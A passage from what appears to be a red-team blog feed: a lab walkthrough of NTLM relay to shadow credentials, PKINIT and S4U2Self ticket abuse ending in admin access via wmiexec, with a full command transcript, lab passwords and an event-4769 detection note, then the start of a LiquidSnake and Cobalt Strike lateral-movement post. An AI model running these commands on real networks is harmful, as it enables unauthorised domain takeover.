1272w, https://substackcdn.com/image/fetch/$s_!vPP-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26518438-ce3f-40fb-b1db-0d01fb0895bb_2660x840.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Relaying to Update `msDs-KeyCredentialLink` Property</figcaption></figure></div><p>The output will specify the PFX file (and associated password) where the certificate is stored. This will be required in the next step to obtain a Kerberos TGT (ticket-granting-ticket) for the machine account using PKINIT. The <code>gettgtpkinit.py</code> script from <a href="https://web.archive.org/web/20250822122042mp_/https://github.com/dirkjanm/PKINITtools">PKINITtools</a> can be used for this.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1HhT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2289f11-bae8-4fbe-9608-112ea7f2f38b_2286x498.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1HhT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2289f11-bae8-4fbe-9608-112ea7f2f38b_2286x498.png 424w, https://substackcdn.com/image/fetch/$s_!1HhT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2289f11-bae8-4fbe-9608-112ea7f2f38b_2286x498.png 848w, https://substackcdn.com/image/fetch/$s_!1HhT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2289f11-bae8-4fbe-9608-112ea7f2f38b_2286x498.png 1272w, https://substackcdn.com/image/fetch/$s_!1HhT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2289f11-bae8-4fbe-9608-112ea7f2f38b_2286x498.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1HhT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2289f11-bae8-4fbe-9608-112ea7f2f38b_2286x498.png" width="1456" height="317" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d2289f11-bae8-4fbe-9608-112ea7f2f38b_2286x498.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:317,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1HhT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2289f11-bae8-4fbe-9608-112ea7f2f38b_2286x498.png 424w, https://substackcdn.com/image/fetch/$s_!1HhT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2289f11-bae8-4fbe-9608-112ea7f2f38b_2286x498.png 848w, https://substackcdn.com/image/fetch/$s_!1HhT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2289f11-bae8-4fbe-9608-112ea7f2f38b_2286x498.png 1272w, https://substackcdn.com/image/fetch/$s_!1HhT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2289f11-bae8-4fbe-9608-112ea7f2f38b_2286x498.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cLzO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf898921-c621-469d-b010-21b31967cb8f_2282x468.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cLzO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf898921-c621-469d-b010-21b31967cb8f_2282x468.png 424w, https://substackcdn.com/image/fetch/$s_!cLzO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf898921-c621-469d-b010-21b31967cb8f_2282x468.png 848w, https://substackcdn.com/image/fetch/$s_!cLzO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf898921-c621-469d-b010-21b31967cb8f_2282x468.png 1272w, https://substackcdn.com/image/fetch/$s_!cLzO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf898921-c621-469d-b010-21b31967cb8f_2282x468.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cLzO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf898921-c621-469d-b010-21b31967cb8f_2282x468.png" width="1456" height="299" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bf898921-c621-469d-b010-21b31967cb8f_2282x468.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:299,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!cLzO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf898921-c621-469d-b010-21b31967cb8f_2282x468.png 424w, https://substackcdn.com/image/fetch/$s_!cLzO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf898921-c621-469d-b010-21b31967cb8f_2282x468.png 848w, https://substackcdn.com/image/fetch/$s_!cLzO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf898921-c621-469d-b010-21b31967cb8f_2282x468.png 1272w, https://substackcdn.com/image/fetch/$s_!cLzO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbf898921-c621-469d-b010-21b31967cb8f_2282x468.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Request TGS for Target User via S4U2Self</figcaption></figure></div><p>Armed with the service ticket for <code>EZ\Administrator</code> we can now interact with <code>ws2</code> as a local administrator. Ideally, on an engagement, you&#8217;ve identified this host as a high-value target where the admin privileges will come in handy for accomplishing your objectives. I&#8217;ll use Impacket&#8217;s <code>wmiexec.py</code> as an example, just to verify the TGS is valid:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mZ2J!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbeb49734-9b9b-4066-bb6f-ec3b7c79e2ca_2242x976.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mZ2J!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbeb49734-9b9b-4066-bb6f-ec3b7c79e2ca_2242x976.png 424w, https://substackcdn.com/image/fetch/$s_!mZ2J!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbeb49734-9b9b-4066-bb6f-ec3b7c79e2ca_2242x976.png 848w, https://substackcdn.com/image/fetch/$s_!mZ2J!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbeb49734-9b9b-4066-bb6f-ec3b7c79e2ca_2242x976.png 1272w, https://substackcdn.com/image/fetch/$s_!mZ2J!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbeb49734-9b9b-4066-bb6f-ec3b7c79e2ca_2242x976.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mZ2J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbeb49734-9b9b-4066-bb6f-ec3b7c79e2ca_2242x976.png" width="1456" height="634" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/beb49734-9b9b-4066-bb6f-ec3b7c79e2ca_2242x976.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:634,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!mZ2J!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbeb49734-9b9b-4066-bb6f-ec3b7c79e2ca_2242x976.png 424w, https://substackcdn.com/image/fetch/$s_!mZ2J!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbeb49734-9b9b-4066-bb6f-ec3b7c79e2ca_2242x976.png 848w, https://substackcdn.com/image/fetch/$s_!mZ2J!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbeb49734-9b9b-4066-bb6f-ec3b7c79e2ca_2242x976.png 1272w, https://substackcdn.com/image/fetch/$s_!mZ2J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbeb49734-9b9b-4066-bb6f-ec3b7c79e2ca_2242x976.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Utilize TGS for Future Activity</figcaption></figure></div><h3>Attack Transcript</h3><pre><code><code># Set up ntlmrelayx to relay authentication from target workstation to DC 
proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81

# Execute printer bug to trigger authentication from target workstation 
proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/file

# Get a TGT using the newly acquired certificate via PKINIT 
proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR

# Get a TGS for the target account 
proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v

# Utilize the TGS for future activity 
export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab
</code></code></pre><h3>Detection and Mitigation</h3><ul><li><p>Kerberos service ticket generation (event ID 4769, caused here by <code>gets4uticket.py</code>) where the <em>Account Name</em> and <em>Service Name</em> do not align to the <em>Client Address</em> generating the event</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!SgI7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F233fc62a-d3ab-4126-b166-4761639a8a9c_673x621.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!SgI7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F233fc62a-d3ab-4126-b166-4761639a8a9c_673x621.png 424w, https://substackcdn.com/image/fetch/$s_!SgI7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F233fc62a-d3ab-4126-b166-4761639a8a9c_673x621.png 848w, https://substackcdn.com/image/fetch/$s_!SgI7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F233fc62a-d3ab-4126-b166-4761639a8a9c_673x621.png 1272w, https://substackcdn.com/image/fetch/$s_!SgI7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F233fc62a-d3ab-4126-b166-4761639a8a9c_673x621.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!SgI7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F233fc62a-d3ab-4126-b166-4761639a8a9c_673x621.png" width="673" height="621" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/233fc62a-d3ab-4126-b166-4761639a8a9c_673x621.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:621,&quot;width&quot;:673,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!SgI7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F233fc62a-d3ab-4126-b166-4761639a8a9c_673x621.png 424w, https://substackcdn.com/image/fetch/$s_!SgI7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F233fc62a-d3ab-4126-b166-4761639a8a9c_673x621.png 848w, https://substackcdn.com/image/fetch/$s_!SgI7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F233fc62a-d3ab-4126-b166-4761639a8a9c_673x621.png 1272w, https://substackcdn.com/image/fetch/$s_!SgI7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F233fc62a-d3ab-4126-b166-4761639a8a9c_673x621.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Event 4769 Indicators</figcaption></figure></div>]]></content:encoded></item><item><title><![CDATA[Lateral Movement with LiquidSnake]]></title><description><![CDATA[Playing with Cobalt Strike and LiquidSnake]]></description><link>https://blog.tw1sm.io/p/2021-09-13-liquidsnake</link><guid isPermaLink="false">https://blog.tw1sm.io/p/2021-09-13-liquidsnake</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Mon, 13 Sep 2021 04:00:00 GMT</pubDate><enclosure url="https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/c42e17bc-bd6a-461f-8cee-121938b5fa7c_543x543.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a href="https://github.com/RiccardoAncarani/LiquidSnake">LiquidSnake</a> is a recently released lateral movement tool, using <a href="https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/">WMI event subscription</a> and SMB named pipes for shellcode transfer. The author, <a href="https://twitter.com/dottor_morte">@dottor_morte</a>, has also provided a Cobalt Strike aggressor script for easy integration with beacon.</p><h1><strong>Testing Vanilla LiquidSnake</strong></h1><p>Without modifying the LiquidSnake solution, set the target architecture to <code>x64</code> and build - this will be our <code>execute-assembly</code> target from beacon.</p><p>I&#8217;ve got a beacon running on a Windows 10 system in my lab environment, we&#8217;ll be using this as the starting point for lateral movement.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DFXo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F552de15c-db8f-4866-bdbd-3f4b5ca5ec98_241x102.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DFXo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F552de15c-db8f-4866-bdbd-3f4b5ca5ec98_241x102.png 424w, https://substackcdn.com/image/fetch/$s_!DFXo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F552de15c-db8f-4866-bdbd-3f4b5ca5ec98_241x102.png 848w, https://substackcdn.com/image/fetch/$s_!DFXo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F552de15c-db8f-4866-bdbd-3f4b5ca5ec98_241x102.png 1272w, https://substackcdn.com/image/fetch/$s_!DFXo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F552de15c-db8f-4866-bdbd-3f4b5ca5ec98_241x102.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DFXo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F552de15c-db8f-4866-bdbd-3f4b5ca5ec98_241x102.png" width="241" height="102" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/552de15c-db8f-4866-bdbd-3f4b5ca5ec98_241x102.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:102,&quot;width&quot;:241,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:20376,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!DFXo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F552de15c-db8f-4866-bdbd-3f4b5ca5ec98_241x102.png 424w, https://substackcdn.com/image/fetch/$s_!DFXo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F552de15c-db8f-4866-bdbd-3f4b5ca5ec98_241x102.png 848w, https://substackcdn.com/image/fetch/$s_!DFXo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F552de15c-db8f-4866-bdbd-3f4b5ca5ec98_241x102.png 1272w, https://substackcdn.com/image/fetch/$s_!DFXo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F552de15c-db8f-4866-bdbd-3f4b5ca5ec98_241x102.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p>Using the user context (<code>REDANIA\vizimir</code>) already established in beacon, we&#8217;ll test moving to <code>oxenfurt.redania.local</code>. This can be accomplished with beacon&#8217;s <code>execute-assembly</code> function (or better yet, <a href="https://github.com/CCob/BOF.NET/pull/1">BOF.NET</a>) and the compiled LiquidSnake binary:</p><pre><code><code>execute-assembly /opt/aggressor/LiquidSnake.exe oxenfurt.redania.local
</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dcuH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec3921a1-4bf2-418d-941a-21c9dbccb5cc_581x197.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dcuH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec3921a1-4bf2-418d-941a-21c9dbccb5cc_581x197.png 424w, https://substackcdn.com/image/fetch/$s_!dcuH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec3921a1-4bf2-418d-941a-21c9dbccb5cc_581x197.png 848w, https://substackcdn.com/image/fetch/$s_!dcuH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec3921a1-4bf2-418d-941a-21c9dbccb5cc_581x197.png 1272w, https://substackcdn.com/image/fetch/$s_!dcuH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec3921a1-4bf2-418d-941a-21c9dbccb5cc_581x197.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dcuH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fec3921a1-4bf2-418d-941a-21c9dbccb5cc_581x197.png" width="581" height="197" 